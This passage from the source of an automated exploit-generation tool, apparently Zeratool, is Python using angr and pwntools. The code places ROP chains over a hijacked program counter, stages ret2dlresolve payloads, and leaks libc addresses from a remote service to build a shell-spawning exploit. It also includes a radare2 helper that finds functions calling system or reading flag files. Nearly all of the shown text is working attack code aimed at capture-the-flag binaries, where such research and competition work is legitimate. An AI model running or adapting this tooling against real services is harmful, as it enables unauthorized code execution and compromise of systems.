start_constraining = False 499 | for i, x in enumerate(user_input.chop(8)): 500 | 501 | # Hunt for the start of PC overwrite 502 | if x is new_state.regs.pc.chop(8)[pc_index]: 503 | log.debug("Found PC overwrite at offset : {}".format(i)) 504 | start_constraining = True 505 | 506 | # Assume gadgets are all next to each other on the stack 507 | # and place them right after each other. 508 | if start_constraining and bytes_iter < len(rop_chain_bytes): 509 | if new_state.satisfiable( 510 | extra_constraints=[x == rop_chain_bytes[bytes_iter]] 511 | ): 512 | new_state.add_constraints(x == rop_chain_bytes[bytes_iter]) 513 | bytes_iter += 1 514 | else: 515 | log.error( 516 | "Not satifiable {} -> {}".format(x, rop_chain_bytes[bytes_iter]) 517 | ) 518 | break 519 | 520 | if not dlresolve: 521 | 522 | rop_simgr = new_state.project.factory.simgr(new_state) 523 | 524 | retrigger_addr = new_state.globals.get("vulnerable_function", None) 525 | 526 | if retrigger_addr: # Retrigger exploit 527 | retrigger_addr = retrigger_addr.rebased_addr 528 | elif "main" in elf.symbols: 529 | retrigger_addr = elf.symbols["main"] 530 | 531 | # Verify that these gadgets result in a call to main after the leak 532 | if new_state.globals["needs_leak"]: 533 | rop_simgr.explore(find=lambda s: retrigger_addr == s.solver.eval(s.regs.pc)) 534 | if len(rop_simgr.found) > 0: 535 | new_state = rop_simgr.found[0] 536 | else: 537 | log.debug("Couldn't verify") 538 | 539 | log.debug(rop_simgr) 540 | 541 | return user_input, new_state 542 | 543 | 544 | def plt_call_hook(state, gadget_addr): 545 | """ 546 | Emulating the following instructions: 547 | push qword ptr [rip + 0x2fe2] 548 | bnd jmp qword ptr [rip + 0x2fe3] 549 | """ 550 | log.info("Emulating plt call hook") 551 | p2 = angr.Project(state.project.filename, auto_load_libs=False) 552 | CFG = p2.analyses.CFG() 553 | 554 | pc_block = CFG.model.get_any_node(gadget_addr).block 555 | for insn in pc_block.capstone.insns: 556 | log.info(insn) 557 | rip_addr = insn.address 558 | rip_offset = insn.disp 559 | if insn.mnemonic == "push": 560 | ret_val = rip_addr + rip_offset + insn.size 561 | log.info("Emulating stack push with value : {}".format(hex(ret_val))) 562 | state.stack_push(ret_val) 563 | elif "jmp" in insn.mnemonic: 564 | pc_val = rip_addr + rip_offset + insn.size 565 | log.info("Emulating plt jmp with value : {}".format(hex(pc_val))) 566 | # Emulating a 'bnd jmp' 567 | # the bnd part is pretty much just a nop 568 | state.regs.pc = pc_val 569 | 570 | 571 | def get_debug_stack(state, depth=8, rop=None): 572 | register_size = int(state.arch.bits / 8) 573 | curr_sp = state.solver.eval(state.regs.sp) 574 | 575 | dbg_lines = ["Current Stack Pointer : {}".format(hex(curr_sp))] 576 | 577 | curr_sp -= depth * register_size 578 | 579 | for i in range(depth + 4): 580 | address = curr_sp + (i * register_size) 581 | val = state.memory.load(address, register_size) 582 | concrete_vaue = 0 583 | desc = "" 584 | concrete_vaue = state.solver.eval(val, cast_to=bytes) 585 | concrete_vaue = u64(concrete_vaue) 586 | desc = state.project.loader.describe_addr(concrete_vaue) 587 | if rop and concrete_vaue in rop.gadgets: 588 | rop_gadget = rop.gadgets[concrete_vaue] 589 | desc += "\n\t" 590 | desc += "\n\t".join(rop_gadget.insns) 591 | if "not part of a loaded object" in desc: 592 | desc = "" 593 | dbg_line = "{:18} | {:18} - {}".format(hex(address), hex(concrete_vaue), desc) 594 | dbg_lines.append(dbg_line) 595 | 596 | return "\n".join(dbg_lines) 597 | 598 | 599 | def fix_gadget_registers(gadget): 600 | if gadget.regs != []: 601 | return gadget 602 | log.debug("Fixing gadget : {}".format(gadget)) 603 | for insn in gadget.insns: 604 | if "pop" in insn: 605 | # Splt a 'pop eax' or 'pop rdx' to get register name 606 | gadget.regs.append(insn.split(" ")[-1]) 607 | return gadget 608 | 609 | 610 | def do_64bit_leak_with_stepping(elf, rop, rop_chain, new_state, dlresolve=None): 611 | # Only amd64 right now 612 | user_input = new_state.globals["user_input"] 613 | curr_rop = None 614 | elf_symbol_addrs = [y for x, y in elf.symbols.items()] 615 | p = new_state.project 616 | 617 | for i, gadget in enumerate(rop_chain): 618 | 619 | if gadget in rop.gadgets: 620 | curr_rop = rop.gadgets[gadget] 621 | 622 | curr_rop = fix_gadget_registers(curr_rop) 623 | 624 | # reversing it lets us pop values out easy 625 | curr_rop.regs.reverse() 626 | 627 | # Case of if we're executing 628 | if curr_rop is None or gadget in rop.gadgets or len(curr_rop.regs) == 0: 629 | 630 | if new_state.satisfiable(extra_constraints=([new_state.regs.pc == gadget])): 631 | """ 632 | For the actual ROP gadgets, we're stepping through them 633 | until we hit an unconstrained value - We did a `ret` back 634 | onto the symbolic stack. 635 | This process is slower than just setting the whole stack 636 | to the chain, but in testing it seems to work more reliably 637 | """ 638 | log.info("Setting PC to {}".format(hex(gadget))) 639 | new_state.add_constraints(new_state.regs.pc == gadget) 640 | 641 | if gadget in elf_symbol_addrs: 642 | log.info( 643 | "gadget is hooked symbol, contraining to real address, but calling SimProc" 644 | ) 645 | symbol = [x for x in elf.symbols.items() if gadget == x[1]][0] 646 | new_state.regs.pc = p.loader.find_symbol(symbol[0]).rebased_addr 647 | 648 | # There is no point in letting our last gadget run, we have all 649 | # the constraints on our input to trigger the leak 650 | if i == len(rop_chain) - 1: 651 | break 652 | 653 | # Are we in the .plt about to execute our dlresolv payload? 654 | if ( 655 | p.loader.find_section_containing(gadget).name == ".plt" 656 | and dlresolve is not None 657 | ): 658 | """ 659 | We're expecting a: 660 | push qword [0x004040008] # .plt section 661 | jmp qword [0x00404010] # .plt section + 0x8 662 | or 663 | 401020 push qword ptr [0x404008] 664 | 401026 bnd jmp qword ptr [0x404010] 665 | which we can emulate 666 | """ 667 | # load the memory region and constrain it 668 | # We already called read that returned a symbolic read value 669 | # into the section we're about to use 670 | 671 | dlresolv_payload_memory = new_state.memory.load( 672 | dlresolve.data_addr, len(dlresolve.payload) 673 | ) 674 | if new_state.satisfiable( 675 | extra_constraints=( 676 | [dlresolv_payload_memory == dlresolve.payload] 677 | ) 678 | ): 679 | new_state.add_constraints( 680 | dlresolv_payload_memory == dlresolve.payload 681 | ) 682 | log.debug( 683 | "Values written to address at : {}".format( 684 | hex(dlresolve.data_addr) 685 | ) 686 | ) 687 | else: 688 | log.info( 689 | "Could not set dlresolve payload to address : {}".format( 690 | hex(dlresolve.data_addr) 691 | ) 692 | ) 693 | return None, None 694 | 695 | dlresolv_index = new_state.memory.load(new_state.regs.sp, 8) 696 | 697 | dlresolve_bytes = p64(rop_chain[i + 1]) 698 | if new_state.satisfiable( 699 | extra_constraints=([dlresolv_index == dlresolve_bytes]) 700 | ): 701 | new_state.add_constraints(dlresolv_index == dlresolve_bytes) 702 | log.debug( 703 | "Set dlresolv index value to : {}".format( 704 | hex(rop_chain[i + 1]) 705 | ) 706 | ) 707 | 708 | plt_call_hook(new_state, gadget) 709 | 710 | rop_simgr = new_state.project.factory.simgr(new_state) 711 | 712 | # We just need one step into our payload 713 | rop_simgr.step() 714 | 715 | stack_vals = get_debug_stack(new_state, depth=9, rop=rop) 716 | log.info(stack_vals) 717 | 718 | if len(rop_simgr.errored): 719 | log.error("Bad Address : {}".format(hex(dlresolve.data_addr))) 720 | return None, None 721 | 722 | new_state = rop_simgr.active[0] 723 | new_state.globals["dlresolve_payload"] = dlresolve.payload 724 | log.info("Found address : {}".format(hex(dlresolve.data_addr))) 725 | log.info(rop_simgr) 726 | break 727 | 728 | """ 729 | Since we're stepping through a ROP chain, VEX IR wants to 730 | try and lift the whole block and emulate a whole block step 731 | this will break what we're trying to do, so we need to 732 | tell it to try and emulate single-step execution as closely 733 | as we can with the opt_level=0 734 | """ 735 | rop_simgr = new_state.project.factory.simgr(new_state) 736 | rop_simgr.explore(opt_level=0) 737 | new_state = rop_simgr.unconstrained[0] 738 | 739 | # We already set the dlresolv index value, don't try to execute 740 | # the next piece 741 | if ( 742 | p.loader.find_section_containing(gadget).name == ".plt" 743 | and dlresolve is not None 744 | ): 745 | break 746 | 747 | else: 748 | log.error("unsatisfied on {}".format(hex(gadget))) 749 | break 750 | 751 | # Case for setting registers 752 | else: 753 | """ 754 | Usually for 64bit rop chains, we're passing values into 755 | the argument registers like RDI, so this only covers RDI 756 | since the auto-rop chain is pretty simple, but we would 757 | extend this portion to cover all register sets from POP 758 | calls 759 | """ 760 | next_reg = curr_rop.regs.pop() 761 | log.debug("Setting register : {}".format(next_reg)) 762 | 763 | gadget_msg = gadget 764 | if isinstance(gadget, bytes): 765 | if new_state.arch.bits == 64: 766 | gadget = u64(gadget) 767 | else: 768 | gadget = u32(gadget) 769 | if isinstance(gadget, int): 770 | gadget_msg = hex(gadget) 771 | 772 | state_reg = getattr(new_state.regs, next_reg) 773 | if state_reg.symbolic and new_state.satisfiable( 774 | extra_constraints=([state_reg == gadget]) 775 | ): 776 | 777 | log.info("Setting {} to {}".format(next_reg, gadget_msg)) 778 | 779 | new_state.add_constraints(state_reg == gadget) 780 | else: 781 | log.error("unsatisfied on {} -> {}".format(next_reg, gadget_msg)) 782 | break 783 | 784 | if len(curr_rop.regs) == 0: 785 | curr_rop = None 786 | return user_input, new_state 787 | 788 | 789 | def leak_remote_libc_functions(simgr): 790 | 791 | """ 792 | We have two main stages when we need a leak, 793 | the leak stage, which will be the first part of our chain 794 | and the pwn stage, where we use the leak to set our PC 795 | to some address relative to the leaked address 796 | """ 797 | for state in simgr.unconstrained: 798 | properties = state.globals["properties"] 799 | elf = ELF(properties["file"]) 800 | 801 | symbols = {"symbols": {}} 802 | 803 | skip_entries = [ 804 | "__libc_start_main", 805 | "__gmon_start__", 806 | "stdout", 807 | "stdin", 808 | "stderr", 809 | ] 810 | 811 | log.info("Current sp : {}".format(hex(state.solver.eval(state.regs.sp)))) 812 | sp_is_16bit_aligned = state.solver.eval(state.regs.sp) & 0xF == 0 813 | properties["sp_is_16bit_aligned"] = sp_is_16bit_aligned 814 | 815 | leaked_values = {} 816 | 817 | for i, name in enumerate(elf.got): # leak it all 818 | if name in skip_entries: 819 | continue 820 | log.debug("Leaking {} ".format(name)) 821 | 822 | properties["vulnerable_function"] = get_vulnerable_function(state) 823 | 824 | rop, rop_chain = get_leak_rop_chain(properties, leak_num=i) 825 | 826 | new_state = state.copy() 827 | new_state.globals["vulnerable_function"] = properties["vulnerable_function"] 828 | 829 | # user_input, new_state = do_64bit_leak_with_stepping( 830 | # elf, rop, rop_chain, new_state 831 | # ) 832 | 833 | """ 834 | If step-by-step emulation and constraining doesn't work 835 | another option is to build the entire chain here and load 836 | the memory starting at the start of chain and add a constraint 837 | setting it to our rop chain's bytes 838 | """ 839 | is_32bit = new_state.project.arch.bits == 32 840 | 841 | user_input, new_state = do_leak_with_ropchain_constrain( 842 | elf, rop_chain, new_state, is_32bit=is_32bit 843 | ) 844 | 845 | input_bytes = new_state.posix.dumps(0) 846 | output_bytes = new_state.posix.dumps(1) 847 | 848 | r = remote(properties["remote"]["url"], properties["remote"]["port"]) 849 | r.recv() 850 | r.clean() 851 | r.sendline(input_bytes) 852 | bytes_with_leak = r.recvuntil(b"\n").replace(b"\n", b"") 853 | log.info(bytes_with_leak) 854 | if is_32bit: 855 | bytes_with_leak = bytes_with_leak[:4] 856 | bytes_with_leak = bytes_with_leak.ljust(4, b"\x00") 857 | leaked_val = u32(bytes_with_leak) 858 | else: 859 | bytes_with_leak = bytes_with_leak.ljust(8, b"\x00") 860 | leaked_val = u64(bytes_with_leak) 861 | log.info("leaked {} : {}".format(name, hex(leaked_val))) 862 | r.close() 863 | 864 | leaked_values[name] = leaked_val 865 | 866 | if leaked_val > 0x7F0000000000: 867 | symbols["symbols"][name] = hex( 868 | leaked_val & 0xFFF 869 | ) # Only want last three for remote leak 870 | else: 871 | log.debug("bad canidate address") 872 | 873 | logging.info("leaked all symbols, querying remote libc database") 874 | 875 | for x, y in leaked_values.items(): 876 | log.info("{} : {}".format(x, hex(y))) 877 | 878 | for x, y in symbols["symbols"].items(): 879 | log.info("{} : {}".format(x, y)) 880 | 881 | if is_32bit: 882 | log.warn("remote libc database doesn't support 32bit leaking yet :(") 883 | log.warn( 884 | "Try plugging these values into https://libc.nullbyte.cat/ and downloading the libc" 885 | ) 886 | log.warn("Then rerun Zeratool with --libc flag") 887 | state.globals["libc"] = None 888 | else: 889 | state.globals["libc"] = get_remote_libc_with_leaks(symbols) 890 | simgr.drop(stash="unconstrained") 891 | simgr.drop(stash="active") 892 | simgr.stashes["found"].append(state) 893 | 894 | return simgr 895 | 896 | 897 | def get_vulnerable_function(state): 898 | 899 | # Python3 magic to get last bbl_addr 900 | *_, last_block = state.history.bbl_addrs 901 | symbol_addr = None 902 | 903 | if not state.project.loader.main_object.contains_addr(last_block): 904 | return symbol_addr 905 | 906 | symbols_addrs = [x.rebased_addr for x in state.project.loader.main_object.symbols] 907 | symbols_addrs.sort() 908 | 909 | for i, addr in enumerate(symbols_addrs): 910 | if i == 0: 911 | continue 912 | if last_block < addr and last_block > symbols_addrs[i - 1]: 913 | symbol_addr = symbols_addrs[i - 1] 914 | symbol = state.project.loader.find_symbol(symbol_addr) 915 | log.info("Vulnerable function is : {}".format(symbol)) 916 | break 917 | 918 | return symbol 919 | 920 | 921 | def point_to_ropchain_filter(simgr): 922 | 923 | dlresolve = None 924 | """ 925 | For angr hooked function that are part of our rop chain, 926 | like `puts`, we need to force the simulation manager to 927 | execute through a regular step, without running through 928 | the hook. 929 | """ 930 | for state in simgr.active: 931 | if not state.globals["needs_leak"]: 932 | properties = state.globals["properties"] 933 | elf = ELF(properties["file"]) 934 | elf_symbol_addrs = [y for x, y in elf.symbols.items()] 935 | elf_items = elf.symbols.items() 936 | 937 | pc = state.solver.eval(state.regs.pc) 938 | if pc in elf_symbol_addrs: 939 | symbol = [x for x in elf_items if pc == x[1]][0] 940 | log.debug("hooking : {}".format(symbol)) 941 | state.regs.pc = state.project.loader.find_symbol(symbol[0]).rebased_addr 942 | 943 | """ 944 | We have two main stages when we need a leak, 945 | the leak stage, which will be the first part of our chain 946 | and the pwn stage, where we use the leak to set our PC 947 | to some address relative to the leaked address 948 | """ 949 | for state in simgr.unconstrained: 950 | properties = state.globals["properties"] 951 | elf = ELF(properties["file"]) 952 | 953 | log.info("Current sp : {}".format(hex(state.solver.eval(state.regs.sp)))) 954 | sp_is_16bit_aligned = state.solver.eval(state.regs.sp) & 0xF == 0 955 | properties["sp_is_16bit_aligned"] = sp_is_16bit_aligned 956 | 957 | if properties.get("force_dlresolve", False): 958 | dlresolve, rop, rop_chain = get_rop_chain(properties, state=state) 959 | 960 | elif state.globals["needs_leak"]: 961 | properties["vulnerable_function"] = get_vulnerable_function(state) 962 | state.globals["vulnerable_function"] = properties["vulnerable_function"] 963 | rop, rop_chain = get_leak_rop_chain(properties) 964 | else: 965 | dlresolve, rop, rop_chain = get_rop_chain(properties, state=state) 966 | 967 | new_state = state.copy() 968 | 969 | if new_state.project.arch.bits == 32: 970 | user_input, new_state = do_leak_with_ropchain_constrain( 971 | elf, rop_chain, new_state, is_32bit=True 972 | ) 973 | 974 | else: 975 | if dlresolve: 976 | 977 | user_input, new_state = do_64bit_leak_with_stepping( 978 | elf, rop, rop_chain, new_state, dlresolve=dlresolve 979 | ) 980 | if new_state == None: 981 | log.info("64bit stepping failed, trying to constrain whole payload") 982 | new_state = state.copy() 983 | user_input, new_state = do_leak_with_ropchain_constrain( 984 | elf, rop_chain, new_state, is_32bit=False, dlresolve=dlresolve 985 | ) 986 | new_state.globals["dlresolve_payload"] = dlresolve.payload 987 | 988 | input_buf = new_state.posix.dumps(0) 989 | 990 | if dlresolve.payload in input_buf: 991 | payload_index = input_buf.index(dlresolve.payload) 992 | 993 | """ 994 | ret2dlresolve happens in two parts: 995 | The read rop which pulls in our payload 996 | Then sending the payload to be read 997 | """ 998 | new_state.globals["dlresolve_first"] = input_buf[:payload_index] 999 | new_state.globals["dlresolve_second"] = input_buf[ 1000 | payload_index : payload_index + len(dlresolve.payload) 1001 | ] 1002 | else: 1003 | new_state.globals["dlresolve_first"] = input_buf 1004 | new_state.globals["dlresolve_second"] = new_state.globals[ 1005 | "dlresolve_payload" 1006 | ] 1007 | 1008 | new_state.globals["needs_leak"] = False 1009 | 1010 | new_state.globals["type"] = "dlresolve" 1011 | 1012 | simgr.drop(stash="unconstrained") 1013 | simgr.drop(stash="found") 1014 | simgr.stashes["found"].append(new_state) 1015 | 1016 | log.info("[+] Vulnerable path found {}".format(input_buf)) 1017 | log.info( 1018 | "ret2dlresolve 1st : {}".format( 1019 | new_state.globals["dlresolve_first"] 1020 | ) 1021 | ) 1022 | log.info( 1023 | "ret2dlresolve 2nd : {}".format( 1024 | new_state.globals["dlresolve_second"] 1025 | ) 1026 | ) 1027 | break 1028 | else: 1029 | """ 1030 | If step-by-step emulation and constraining doesn't work 1031 | another option is to build the entire chain here and load 1032 | the memory starting at the start of chain and add a constraint 1033 | setting it to our rop chain's bytes 1034 | """ 1035 | 1036 | user_input, new_state = do_leak_with_ropchain_constrain( 1037 | elf, rop_chain, new_state, is_32bit=False 1038 | ) 1039 | 1040 | user_input = new_state.globals["user_input"] 1041 | 1042 | """ 1043 | If we're running with a leak stage, we call it done once we hit our leak, 1044 | since we'll want the actual program runtime leak in our next set of 1045 | constraints. 1046 | """ 1047 | if new_state.globals["needs_leak"]: 1048 | new_state.globals["needs_leak"] = False 1049 | 1050 | simgr.drop(stash="unconstrained") 1051 | simgr.drop(stash="found") 1052 | simgr.stashes["found"].append(new_state) 1053 | 1054 | new_state.globals["leak_input"] = get_trimmed_input(user_input, new_state) 1055 | new_state.globals["type"] = "leak" 1056 | 1057 | break 1058 | 1059 | """ 1060 | At this point we're running alongside the actual program and trimming won't 1061 | help our input buffer size, so we just get the raw STDIN and use that for 1062 | input values 1063 | """ 1064 | input_bytes = new_state.posix.dumps(0) 1065 | leak_input = new_state.globals["leak_input"] 1066 | # The +1 here is to account for a newline. The get_trimmed_input function 1067 | # isn't adding the newline character 1068 | if not leak_input.endswith(b"\n"): 1069 | pwn_bytes = input_bytes[len(leak_input) + 1 :] 1070 | else: 1071 | pwn_bytes = input_bytes[len(leak_input) :] 1072 | 1073 | """ 1074 | If Zeratool fails, we atleast want the inputs that trigger the leak an 1075 | attempted pwn for putting into our own manual exploits 1076 | """ 1077 | log.info("[+] Vulnerable path found {}".format(input_bytes)) 1078 | log.info("Will leak {} before pwn".format(new_state.globals["leaked_func"])) 1079 | log.info("Leak input : {}".format(leak_input)) 1080 | log.info("pwn input : {}".format(pwn_bytes)) 1081 | 1082 | new_state.globals["type"] = "Overflow" 1083 | new_state.globals["input"] = pwn_bytes 1084 | simgr.drop(stash="unconstrained") 1085 | simgr.drop(stash="active") 1086 | simgr.stashes["found"].append(new_state) 1087 | break 1088 | 1089 | return simgr 1090 | 1091 | 1092 | def get_trimmed_input(user_input, state): 1093 | trim_index = -1 1094 | index = 0 1095 | for c in user_input.chop(8): 1096 | num_constraints = get_num_constraints(c, state) 1097 | if num_constraints == 0 and trim_index == -1: 1098 | trim_index = index 1099 | else: 1100 | trim_index == -1 1101 | index += 1 1102 | 1103 | input_bytes = state.solver.eval(user_input, cast_to=bytes) 1104 | 1105 | if trim_index > 0: 1106 | log.debug("Found input without constraints starting at {}".format(trim_index)) 1107 | return input_bytes[:trim_index] 1108 | 1109 | return input_bytes 1110 | 1111 | 1112 | def get_num_constraints(chop_byte, state): 1113 | constraints = state.solver.constraints 1114 | i = 0 1115 | # Do any constraints mention this BV? 1116 | for constraint in constraints: 1117 | if any( 1118 | chop_byte.structurally_match(x) for x in constraint.recursive_children_asts 1119 | ): 1120 | i += 1 1121 | # log.info("{} : {} : {}".format(chop_byte,i,state.solver.eval(chop_byte,cast_to=bytes))) 1122 | return i 1123 | 1124 | 1125 | class hook_win(angr.SimProcedure): 1126 | IS_FUNCTION = True 1127 | 1128 | good_strings = [b"/bin/sh", b"flag", b"/bin/bash", b"/bin/dash"] 1129 | 1130 | def run(self): 1131 | 1132 | if self.state.arch.bits == 64: 1133 | cmd_ptr = self.state.regs.rdi 1134 | if self.state.arch.bits == 32: 1135 | # First arg pushed to the stack 1136 | cmd_ptr = self.state.memory.load(self.state.regs.sp - 4, 4) 1137 | cmd_str = self.state.memory.load(cmd_ptr, 32) 1138 | 1139 | arg = self.state.solver.eval(cmd_str, cast_to=bytes) 1140 | 1141 | log.info("system() called with {}".format(arg)) 1142 | if any(x in arg for x in self.good_strings): 1143 | # Win! 1144 | self.state.globals["type"] = "overflow_variable" 1145 | 1146 | 1147 | class hook_four(angr.SimProcedure): 1148 | IS_FUNCTION = True 1149 | 1150 | def run(self): 1151 | return 4 # Fair dice roll 1152 | -------------------------------------------------------------------------------- /zeratool/winFunctionDetector.py: -------------------------------------------------------------------------------- 1 | import r2pipe 2 | import json 3 | import logging 4 | 5 | log = logging.getLogger(__name__) 6 | 7 | 8 | def getWinFunctions(binary_name): 9 | 10 | winFunctions = {} 11 | 12 | # Initilizing r2 with with function call refs (aac) 13 | r2 = r2pipe.open(binary_name) 14 | r2.cmd("aaa") 15 | 16 | functions = [func for func in json.loads(r2.cmd("aflj"))] 17 | 18 | # Check for function that gives us system(/bin/sh) 19 | for func in functions: 20 | if "system" in str(func["name"]): 21 | system_name = func["name"] 22 | 23 | # Get XREFs 24 | refs = [ 25 | func for func in json.loads(r2.cmd("axtj @ {}".format(system_name))) 26 | ] 27 | for ref in refs: 28 | if "fcn_name" in ref: 29 | winFunctions[ref["fcn_name"]] = ref 30 | 31 | # Check for function that reads flag.txt 32 | # Then prints flag.txt to STDOUT 33 | known_flag_names = ["flag", "pass"] 34 | 35 | strings = [string for string in json.loads(r2.cmd("izj"))] 36 | for string in strings: 37 | value = string["string"] 38 | if any([x in value for x in known_flag_names]): 39 | address = string["vaddr"] 40 | 41 | # Get XREFs 42 | refs = [func for func in json.loads(r2.cmd("axtj @ {}".format(address)))] 43 | for ref in refs: 44 | if "fcn_name" in ref: 45 | winFunctions[ref["fcn_name"]] = ref 46 | 47 | for k, v in list(winFunctions.items()): 48 | log.info("[+] Found win function {}".format(k)) 49 | 50 | return winFunctions 51 | --------------------------------------------------------------------------------